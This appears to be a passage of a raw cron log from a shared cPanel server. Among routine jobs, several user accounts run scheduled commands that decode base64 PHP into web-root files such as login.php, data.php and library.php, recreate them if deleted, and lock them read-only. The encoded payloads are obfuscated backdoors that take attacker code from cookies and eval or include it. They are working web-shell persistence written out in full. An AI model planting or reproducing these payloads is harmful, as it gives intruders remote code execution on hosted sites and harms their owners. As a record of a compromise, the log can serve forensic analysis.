zMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:32:01 medusa CROND[28605]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:32:01 medusa CROND[28606]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:32:01 medusa CROND[28607]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:32:01 medusa CROND[28608]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:32:01 medusa CROND[28611]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:32:01 medusa CROND[28615]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:32:01 medusa CROND[28617]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:32:01 medusa CROND[28618]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 04:32:01 medusa CROND[28620]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:33:01 medusa CROND[30027]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:33:01 medusa CROND[30034]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:33:01 medusa CROND[30035]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 04:33:01 medusa CROND[30036]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:33:01 medusa CROND[30037]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:33:01 medusa CROND[30038]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:33:01 medusa CROND[30039]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:33:01 medusa CROND[30040]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:33:01 medusa CROND[30041]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:33:01 medusa CROND[30043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:33:01 medusa CROND[30045]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:33:01 medusa CROND[30047]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:34:01 medusa CROND[31377]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:34:01 medusa CROND[31378]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:34:01 medusa CROND[31379]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:34:01 medusa CROND[31380]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:34:01 medusa CROND[31381]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 04:34:01 medusa CROND[31382]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:34:01 medusa CROND[31391]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:34:01 medusa CROND[31392]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5